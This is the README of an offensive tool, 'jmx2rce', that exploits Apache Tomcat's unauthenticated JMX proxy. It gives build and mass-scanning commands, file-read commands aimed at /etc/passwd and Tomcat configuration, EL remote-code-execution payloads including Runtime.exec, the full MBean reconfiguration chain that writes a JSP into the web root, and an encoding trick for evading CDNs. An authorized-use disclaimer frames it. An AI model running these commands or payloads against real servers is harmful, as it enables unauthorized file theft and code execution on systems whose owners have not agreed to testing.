This tool is for authorized security testing and educational purposes only. Only use against systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal. The author is not responsible for any misuse.
Tomcat JMX Proxy to RCE via AccessLogValve Injection
A self-contained exploitation tool that chains Apache Tomcat's unauthenticated JMX proxy endpoint with AccessLogValve reconfiguration to achieve arbitrary file read and remote code execution via Expression Language (EL) injection.
Single static Go binary. No dependencies. Works on macOS, Linux, and Windows.
- Go 1.20+ to build from source, or use the prebuilt binary
- No external dependencies (standard library only)
git clone https://github.com/hacktus/jmx2rce.git
cd jmx2rce/tool
go build -o jmx2rce jmx2rce.go
./jmx2rce -hA nuclei template is included for mass scanning. Detects unauthenticated JMX proxy access and extracts the Tomcat version.
nuclei -t tomcat-jmxproxy-unauth.yaml -l targets.txtSingle host:
nuclei -t tomcat-jmxproxy-unauth.yaml -u https://target.comDetect Tomcat instances exposing unauthenticated JMX proxy endpoints.
# Scan a single host
jmx2rce scan -H target.com
# Scan from a file with 50 threads
jmx2rce scan -f targets.txt -t 50
# Save results as JSON
jmx2rce scan -f targets.txt -o results.json
# Verbose output for debugging
jmx2rce -v scan -H target.comRead arbitrary files from the server by reconfiguring the ROOT webapp's docBase.
# Read /etc/passwd
jmx2rce read -H target.com -p /etc/passwd
# Read Tomcat configuration
jmx2rce read -H target.com -p /opt/tomcat/conf/server.xmlFull RCE chain via AccessLogValve JSP injection with EL payload.
# Default proof-of-concept payload (evaluates 7*7*7 and leaks server info)
jmx2rce rce -H target.com
# Custom EL payload
jmx2rce rce -H target.com -payload '${System.getProperty("user.name")}'
# Runtime command execution (Tomcat 9+ with EL 3.0)
jmx2rce rce -H target.com -payload '${Runtime.getRuntime().exec("id")}'Restore original server configuration after testing.
jmx2rce cleanup -H target.com
# If the original docBase was different from ROOT
jmx2rce cleanup -H target.com -docbase /opt/tomcat/webapps/ROOT-q Suppress banner and non-essential output
-v Full request/response logging
-verify Enable SSL certificate verification (disabled by default)
-scheme string URL scheme: http or https (default: https)
-header NAME:VALUE Add custom header to all requests (repeatable)
-no-color Disable colored output
The tool sends a GET request to /manager/jmxproxy/?get=Catalina:type=Server&att=serverInfo. If the JMX proxy is exposed without authentication, Tomcat returns the server version in an OK - ... response. No authentication = full JMX read/write access to all registered MBeans.
- Save the current
docBaseattribute of the ROOT WebModule MBean - Set
docBaseto the directory containing the target file (e.g.,/etc) - Reload the ROOT context so Tomcat serves files from the new directory
- GET
/{filename}to read the target file (e.g.,/passwd) - Restore the original
docBaseand reload
- Set
relaxedQueryCharson the HTTPS Connector MBean to allow{}in URLs (needed for EL syntax in some configurations) - Reconfigure AccessLogValve MBean:
directory=webapps/ROOT(write logs into the web root)prefix=pwned_{timestamp}(unique filename)suffix=.jsp(Tomcat will compile and execute it)pattern=%{X-Payload}i(log the value of the X-Payload request header)rotatable=false,buffered=false(immediate write)
- Invoke
rotate()on the AccessLogValve to open the new.jsplog file - Set ROOT
docBasetowebapps/ROOTand reload context - Send a trigger request with the EL payload in the
X-Payloadheader -- this gets written to the JSP file via the access log - Access the JSP file -- Tomcat compiles and evaluates the EL expressions, returning the result
The %{X-Payload}i AccessLogValve pattern token contains %, {, and } which get mangled by CDNs and reverse proxies. The tool uses triple-encoding:
Target value: %{X-Payload}i
URL parameter: %2525%257BX-Payload%257Di
Decoding chain:
CDN layer: %2525 -> %25, %257B -> %7B, %257D -> %7D
Tomcat layer: %25 -> %, %7B -> {, %7D -> }
Final value: %{X-Payload}i
Restores all modified MBean attributes to their default values:
- AccessLogValve:
logs/,localhost_access_log,.txt,commonpattern - ROOT docBase:
ROOT - Connector: clears
relaxedQueryChars
$ jmx2rce scan -H vulnerable-target.example.com -timeout 10
_____ __ ____ ___ ____ ________
/ / |/ |/ /\ \/ / |/ _ \/ ___/ __/
__/ / /|_/ /> < ) /| / , _/ /__/ _/
/___/_/ /_/_/|_/_/|_|_/_/|_|\___/___/
Tomcat JMX Proxy → RCE via AccessLogValve Injection
By: hacktus
[*] Scanning 1 host(s) with 20 threads, timeout 10s
[+] vulnerable-target.example.com - VULNERABLE - Apache Tomcat/10.1.8
[+] Found 1 vulnerable host(s):
vulnerable-target.example.com - Apache Tomcat/10.1.8
This tool is provided for authorized security testing and research purposes only. You must have explicit written permission from the system owner before using this tool against any target. Unauthorized access to computer systems is illegal.
The author assumes no liability for misuse of this tool. By using jmx2rce, you agree to:
- Only test systems you own or have explicit authorization to test
- Follow all applicable laws and regulations
- Report any vulnerabilities found through responsible disclosure
- Author: hacktus
- Technique: AccessLogValve JSP injection via JMX Proxy is a well-documented Tomcat attack vector. This tool automates the full chain including CDN-safe URL encoding.